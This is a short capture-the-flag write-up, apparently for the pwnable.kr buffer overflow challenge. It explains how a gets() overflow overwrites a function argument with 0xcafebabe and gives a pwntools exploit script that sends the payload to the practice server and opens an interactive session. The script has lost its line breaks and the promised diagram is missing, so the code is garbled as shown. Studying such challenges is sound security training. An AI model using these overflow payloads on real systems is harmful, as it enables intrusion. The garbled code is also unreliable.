The buffer overflow happens when gets() is called. The objective is to overflow the function argument key. Originally the key is 0xdeadbeef, and we want to overwrite it with 0xcafebabe.
Solution
The function argument key is at ebp + 0x8. Pictorially:
#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host pwnable.kr --port 9000from pwn import*# Set up pwntools for the correct architecturecontext.update(arch='i386')exe ='./path/to/binary'# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or'pwnable.kr'port =int(args.PORT or9000)defstart_local(argv=[],*a,**kw):'''Execute the target binary locally'''if args.GDB:return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)else:returnprocess([exe] + argv, *a, **kw)defstart_remote(argv=[],*a,**kw):'''Connect to the process on the remote host''' io =connect(host, port)if args.GDB: gdb.attach(io, gdbscript=gdbscript)return iodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''if args.LOCAL:returnstart_local(argv, *a, **kw)else:returnstart_remote(argv, *a, **kw)# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript ='''scontinue'''.format(**locals())#===========================================================# EXPLOIT GOES HERE#===========================================================# The offset includes old ebpoffset =48payload =flat( b"A"* offset,# Overwrite return address b"B"*4,# Overwrite function argument0xcafebabe,)io =start()io.sendline(payload)io.interactive()